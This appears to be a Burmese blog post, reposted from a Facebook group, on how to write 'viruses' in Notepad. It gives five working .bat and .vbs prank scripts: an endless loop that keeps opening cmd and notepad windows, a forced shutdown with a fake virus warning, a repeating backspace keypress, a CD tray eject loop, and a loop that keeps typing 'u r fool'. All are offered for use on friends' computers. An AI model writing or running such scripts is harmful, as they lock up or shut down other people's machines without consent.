Virus ေရးနည္း(၃)

ကြ်န္ေတာ့ FB group က ကိုေက်ာ္ႀကီးေရးထားတာေလးကိုနည္းနည္းေလေပါၿပီ...ျပန္တင္ေပးတာပါ....ေက်းေက်း..ပါကိုေက်ာ္ႀကီး.......

ဒီတခါေတာ့ Funny virus လို႔ပဲေျပာမလား...သူငယ္ခ်င္းစ,စရာလို႔ပဲေျပာမလား..အႏၱရာယ္လို႔ပဲေျပာမလား...ဘာေခါင္းစဥ္တပ္ရမလဲေတာ့မသိဘူး.....
အဓိက ကေတာ့ Notepad နဲ႔ကလိမွာပါ......ေအာက္ကနည္းေတြအကုန္ Notepad အသံုးျပဳရမည္.......

၁.ဒီတခုကေတာ့ ကြန္ျပဴတာမွာရွိတဲ့ CMD နဲ႔ notepad program ကိုအားမနာတမ္းဆက္တိုက္ဖြင့္ပစ္မွာပါ
အရင္ဆံုး notepad မွာေအာက္ကကုဒ္ေလးေတြကူး......

@echo off
:A
start cmd
start notepad
goto :A

ၿပီးရင္ Save as နဲ႔ save မယ္ save ရင္ File name ကို ကိုယ္ေပးခ်င္တဲ့နာမည္႐ုိက္အေနာက္က .bat နဲ႔မွတ္ပါ...Run လိုက္ရင္ေတာ့ဂြမ္းပီ.....
အခု save ပံု save နည္းသိေနၿပီဆိုေတာ့.....ေနာက္ .bat နဲ႔ save ပါ။ .vbs save ပါလို႔ပဲေျပာေတာ့မယ္ေနာ္.....


၂.ဒါေလးကသင့္ကြန္ျပဴတာကို shutdown က်သြားေစပါတယ္.....

@echo off
msg * A Virus attack Your Computer
shutdown -c "Error! Virus activated!" -s

ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ

၃.ဒါက backspace ကိုဆက္တိုက္ပြင့္ေနေစမွာပါ...

 MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

.vbs နဲ႔ save ပါ

၄. သင့္ကြန္ျပဴတာမွာရွိတဲ့.....CD  Drive ကိုဆက္တိုက္ပိတ္လိုက္ဖြင့္လိုက္လုပ္ေနမွာပါ.....

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

 .vbs နဲ႔ save ပါ.....။ run ၾကည့္ေလ...... ^_^

၅.ဘာမွ႐ုိက္လို႔မရသူဟာသူဖြင့္ခ်င္တာဖြင့္ပီး..... u r fool ေတြပဲ႐ုိက္ေနမွာ.....

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(u r fool)"
loop

.vbs နဲ႔ save ေနာ္....






အနီ နဲ႔ ျပထားတဲ့စာသားေတြက...ေျပာင္းကလိလို႔ရတယ္ေနာ္.....